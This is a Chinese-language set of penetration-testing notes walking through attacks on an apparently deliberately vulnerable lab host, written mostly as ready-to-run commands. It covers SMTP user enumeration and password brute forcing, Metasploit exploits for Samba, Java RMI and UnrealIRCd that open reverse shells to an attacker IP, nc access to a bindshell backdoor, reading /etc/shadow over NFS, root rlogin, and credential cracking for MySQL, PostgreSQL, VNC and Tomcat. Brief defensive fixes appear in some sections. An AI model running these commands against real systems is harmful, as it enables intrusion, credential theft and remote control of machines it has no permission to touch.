漏洞利用-利用搭建的环境发送邮件
-
前提:
- 新建一个用户
- sudo adduser test1
- 新建一个用户
-
发送邮件
- 利用Linux下thunderbird软件进行邮件的发送
- 命令行输入
- thunderbird --打开软件
- 设置电子邮箱账户
- 姓名:test1
- 电子邮件:test1@mail.test.lab
- 密码:123456
- 手工配置
- pop3 – 110
- smtp --25
- 服务器主机名都设置为本地的IP地址
- 重新检测
- 完成
- 如果跳出无法识别身份认证
- 选择:确保安全例外
-
接收邮件
- 同样是使用thunderbird接收
漏洞利用-枚举smtp用户名
- telnet测试用户名
- telnet IP地址 端口 --(一般是25端口)
- vrfy test@mail.test.lab(这里的用户名需要手工填写)
- 返回252、250、251表示用户存在
- 返回550表示用户不存在
- telnet IP地址 端口 --(一般是25端口)
- Metasploit测试用户名
- 在metasploit中有smtp-enum可以对smtp上用户名进行枚举
- use auxiliary/scanner/smtp/smtp_enum
- set rhosts IP地址
- set rport 25
- set USER_FILE 用户名字典文件路径
- run/exploit
- use auxiliary/scanner/smtp/smtp_enum
- 在metasploit中有smtp-enum可以对smtp上用户名进行枚举
- smtp-user-enum工具测试用户名
- smtp-user-enum专门用来进行smtp用户名枚举的工具(如果没有使用apt-get install smtp-user-enum进行安装)
- smtp-user-enum -M VRFY -U 用户名字典文件路径 -t 目标IP地址
- smtp-user-enum专门用来进行smtp用户名枚举的工具(如果没有使用apt-get install smtp-user-enum进行安装)
- ismtp工具测试用户名(apt-get install ismtp)
- ismtp -h IP地址:25 -e email字典文件路径
漏洞利用-smtp暴力破解
- smtp版本信息获取
- 使用metasploit中的smtp-version模块探测smtp服务器的版本信息
- 目标:129.121.22.119
- use auxiliary/scanner/smtp/smtp_version
- set rhosts 129.121.22.119
- run
- 使用metasploit中的smtp-version模块探测smtp服务器的版本信息
- Medusa工具介绍
- 一款用来破解不同协议用户名和密码的专用软件
- smtp验证方式
- Medusa破解smtp
- medusa -h 目标IP地址 -u 用户名 -P字典文件 -M 协议模块
- medusa -h 129.121.22.119 -u test -P 密码字典文件 -M smtp
- medusa -h 129.121.22.119 -u test -P 密码字典文件 -M smtp
- medusa -h 目标IP地址 -u 用户名 -P字典文件 -M 协议模块
漏洞利用-rpcbind漏洞利用
- rpcbind介绍
- 通俗来说,rpcbind是NFS中用来进行消息通知的服务
- 一般情况下rpcbind运行在111端口。并且NFS配置开启rpcbind_enable=“YES”
- nmap IP地址(探测端口开放状态)
- 探测目标rpcbind(使用Mestasploit靶机)
- 使用nmap -sV -p 111 IP地址 --探测目标rpcbind版本信息
- nmap -sV -p 111 192.168.3.16
- 获得版本信息后可以使用searchsploit工具探测是否具有可利用脚本
- searchsploit rpcbind
- 使用nmap -sV -p 111 IP地址 --探测目标rpcbind版本信息
- nmap脚本探测
- 在nmap中探测目标的rpcinfo信息
- nmap -p 111 --script=rpcinfo 192.168.3.16
- 在nmap中探测目标的rpcinfo信息
- Mestasploit模块探测
- use auxiliary/scanner/misc/sunrpc_portmapper
- set rhosts 192.168.3.16
- run
漏洞利用-samba RCE远程命令执行漏洞利用
- samba介绍
- 是在Linux和UNIX系统上实现SMB协议的一个免费软件,基于C/S架构。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,为局域网内不同的计算机之间提供文件及打印机等资源的共享服务
- 一般运行在139、445等端口
- 探测目标samba
- 探测目标端口服务版本信息
- nmap -sV -p 139,445 IP地址
- 探测目标端口服务版本信息
- Metasploit漏洞利用
- 在Metasploit中集成了利用samba usermap RCE的脚本
- use exploit/multi/samba/usermap_script
- set rhosts 192.168.3.16
- show payloads --查找当前可用的payload
- set cmd/unix/reverse
- set lhost 192.168.3.8 --这个IP地址是本地kali的IP地址
- set lport 4444 --这个端口自己随意设置
- run/exploit
- 执行完成后会拿到一个反弹的shell
- 防御修复
- 在Metasploit show info可以查看漏洞信息
- use exploit/multi/samba/usermap_script
- show info
- 修复方案:升级samba版本
漏洞利用-rlogin最高权限登录
- rlogin介绍
- 远程登录(rlogin)是一个UNIX命令,允许授权用户进入网络中的其他UNIX机器并且就像用户在现场操作一样。一旦进入主机,用户可以操作主机允许的任何事情
- nmap IP地址
- 探测目标rlogin
- 探测目标rlogin版本信息
- nmap -sV -p 512,513 IP地址
- 512用于对远程执行的进程进行验证、513反弹bash shell
- 探测目标rlogin版本信息
- rlogin最高权限登录
- 使用最高权限登录系统
- rlogin -l root IP地址
- 使用最高权限登录系统
- 防御修复
- 添加root登录验证密码
- 关闭rlogin服务,改用ssh等来管理服务器
漏洞利用-反序列化远程命令执行漏洞利用
- Java rmi介绍
- Java RMI指的是远程方法调用(Remote Method Invocation)。是一种机制,能够让在某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法
- Java RMI指的是远程方法调用(Remote Method Invocation)。是一种机制,能够让在某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法
- 探测目标rmi
- 探测目标的版本信息
- nmap -p 1099 -sV IP地址
- 探测目标的版本信息
- rmi远程命令执行利用
- 使用Metasploit对rmi RCE漏洞利用
- use exploit/multi/misc/java_rmi_server
- set rhosts 192.168.3.16
- show paylosds
- set payload java/meterpreter/reverse_tcp
- set lhost 192.168.3.8
- set lport 4444
- exploit
- sessions -i 1
- 防御修复
- 存在反序列化传输 ------特别注意
- 存在有缺陷的第三方库如commons-collections 及时升级库
漏洞利用-后门连接
-
后门连接探测
-
某些情况下,服务器可能存在某些后门。可以使用nmap进行探测
-
nmap 192.168.3.16
-
猜测1524端口服务可能存在bindshell(后门)
-
nmap -sV -p 1524 192.168.3.16 --探测后门
-
-
nc连接后门获取权限
- 连接后门程序
- nc 目标IP 端口号
- nc 192.168.3.16 1524
- 连接后门程序
-
漏洞利用-nfs获取目标密码文件
- NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,允许网络中计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS客户端可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件(2049)
- 探测目标nfs(通过rpcbind返回)
- nmap --script=nfs-* IP地址
- 探测nfs是否可以导出
- 使用showmount命令确定"/"共享(文件系统的根)是否正在导出。如果使用不了命令,执行apt-get install nfs-common安装nfs-common包
- showmount -e IP地址
- 返回 /* 表示可以导出目录下所有内容
- 使用showmount命令确定"/"共享(文件系统的根)是否正在导出。如果使用不了命令,执行apt-get install nfs-common安装nfs-common包
- 查看导出内容
- 新建目录
- mkdir nfs_root
- 导出不加锁
- mount -t nfs IP地址:/ ~/nfs_root -o nolock
- 查看内容
- cat ~/nfs_root/etc/shadow
- 新建目录
漏洞利用-proftp测试
- proftpd介绍
- ProFTPD:一个Unix平台上或类Unix平台上(如Linux,FreeBSD等)的FTP服务器程序
- 探测目标
- 探测目标proftpd版本信息
- nmap -sV -p 2121 IP地址
- 探测目标proftpd版本信息
- exploit-db搜索目标漏洞
- 进入网站
- 链接
- 输入对应软件及版本搜索是否有漏洞
- msf暴力破解密码
- use auxiliary/scanner/ftp/ftp_login
- set rhosts 192.168.3.16
- set username msfadmin
- set password msfadmin
- set rport 2121
- exploit
- use auxiliary/scanner/ftp/ftp_login
漏洞利用-mysql弱口令破解
- mysql介绍
- 探测目标mysql
- 探测目标版本信息
- nmap -sV -p 3306 IP地址
- 探测目标版本信息
- msf破解mysql密码
- 使用mysql_login模块破解mysql登录用户名和密码
- use auxiliary/scanner/mysql/mysql_login
- set rhosts 192.168.3.16
- set user_file 用户字典文件
- set pass_file 密码字典文件
- exploit
- use auxiliary/scanner/mysql/mysql_login
- 使用mysql_login模块破解mysql登录用户名和密码
- 登录数据库查看数据
- 无法使用mysql命令
- 可以安装一下(kali2只支持mariadb了)
- apt-get install mariadb-client
- apt-get install mariadb-server
- 可以安装一下(kali2只支持mariadb了)
- mysql -h IP地址 -u root
- show databases --查看数据库
- use 数据库名
- show tables --查看表名
- select * from 表名 --查看表数据
- 无法使用mysql命令
漏洞利用-postgresql数据库密码破解
-
postgresql介绍
- 以 加州大学 伯克利分校计算机系开发的 POSTGRES, 是一个功能强大的开源对象关系数据库管理系统(ORDBMS) 。PostgreSQL(也称为Post-gress-Q-L)由PostgreSQL全球开发集团(全球志愿者团队)开发。 它不受任何公司或其他私人实体控制。 它是开源的,其源代码是免费提供的。PostgreSQL是跨平台的,可以在许多操作系统上运行
官网
- 以 加州大学 伯克利分校计算机系开发的 POSTGRES, 是一个功能强大的开源对象关系数据库管理系统(ORDBMS) 。PostgreSQL(也称为Post-gress-Q-L)由PostgreSQL全球开发集团(全球志愿者团队)开发。 它不受任何公司或其他私人实体控制。 它是开源的,其源代码是免费提供的。PostgreSQL是跨平台的,可以在许多操作系统上运行
-
探测目标postgresql
- 探测目标postgresql版本信息
- nmap -sV -p 5432 IP地址
- 探测目标postgresql版本信息
-
msf暴力破解postgresql
- 首先可以获取版本信息
- use auxiliary/scanner/postgres/postgres_version
- run
- 暴力破解
- use auxiliary/scanner/postgres/postgres_login
- set rhosts 192.168.3.16
- run --默认已设置好字典文件
- use auxiliary/scanner/postgres/postgres_login
- 首先可以获取版本信息
-
登录postgresql
- 利用pyadmin客户端软件登陆postgresql(任意可安装的都可以)
漏洞利用-postgresql代码执行利用
- postgresql代码执行利用
- 利用msf下postgresql的代码执行获得反弹shell
- use exploit/linux/postgres/postgres_payload
- set rhosts 192.168.3.16
- run
- use exploit/linux/postgres/postgres_payload
- 利用msf下postgresql的代码执行获得反弹shell
- 防御修复
- 防御:屏蔽任意IP连接postgresql
- 修复:升级版本,安全配置
漏洞利用-VNC密码破解
- vnc介绍
- VNC(Virtual Network Console)是虚拟网络控制台的缩写。是一款优秀的远程控制工具软件,由著名的AT&T的欧洲研究实验室开发的。可视化控制,类似于远程桌面,默认vnc服务运行在5900端口
- 探测目标vnc版本信息
- nmap -sV -p 5900 192.168.3.16
- msf破解vnc密码
- msf下vnc_login模块可用来对vnc服务端认证用户名和密码进行破解
- use auxiliary/scanner/vnc/vnc_login
- set rhosts 192.168.3.16
- run
- use auxiliary/scanner/vnc/vnc_login
- msf下vnc_login模块可用来对vnc服务端认证用户名和密码进行破解
- vnc客户端登陆
- windows下安装vnc viewer 客户端软件连接VNC服务端
- 防御:实时监控,设置复杂密码,安全策略
漏洞利用-IRC后门利用
-
IRC介绍
- IRC是Internet Relay Chat的英文缩写,中文称为互联网中继聊天。由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年发展,目前有超过60个国家提供了IRC的服务。
- 工作原理:
- 在自己的PC运行客户端软件,然后通过internet以IRC协议连接到一台IRC服务器上即可。
- 特点:
- 速度非常之快,聊天几乎没有延迟的现象,并且只占用很小的带宽资源。
- 所有的用户可以在一个被称为"Chnnel"(频道)的地方就某一话题进行交谈或密谈。
- 每个IRC使用者都有一个Nickname(昵称)。
- 默认IRC服务器运行在6667端口
-
探测IRC版本信息
- nmap -sV -p 6667 IP地址
-
msf利用IRC后门
-
使用searchsploit查找可以利用的POC
- searchsploit UnrealIRCd --这里的UnrealIRCd是前面探测出的版本信息
-
利用msf中对于IRC后门连接的模块,连接shell
- use exploit/unix/irc/unreal_ircd_3281_backdoor
- set rhost 192.168.3.16
- set rport 6667
- set payload cmd/unix/reverse
- set lhost 192.168.3.8
- set lport 4444
- use exploit/unix/irc/unreal_ircd_3281_backdoor
-
-
修复防御
- 升级软件版本
- 更换其他软件
漏洞利用-Tomcat管理密码破解
-
Tomcat介绍
- Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。
- 默认情况下,8180端口是Tomcat管理的HTTP端口
-
探测目标Tomcat版本信息
- nmap -sV -p 8180 IP地址
-
msf破解Tomcat密码
- use auxiliary/scanner/http/tomcat_mgr_login
- set rhosts 192.168.3.16
- set rport 8180
- run
- use auxiliary/scanner/http/tomcat_mgr_login
-
msf利用Tomcat管理
- 使用msf下的exploit/multi/http/tomcat_mgr_deploy模块利用Tomcat upload功能反弹shell
- use exploit/tomcat_mgr_deploy
- set rhost 192.168.3.16
- set rport 8180
- set httppassword tomcat --前面爆破出来的密码
- set httpusername tomcat --前面爆破出来的用户
- run
- use exploit/tomcat_mgr_deploy
- 使用msf下的exploit/multi/http/tomcat_mgr_deploy模块利用Tomcat upload功能反弹shell
-
防御修复
- 设置阈值和复杂的密码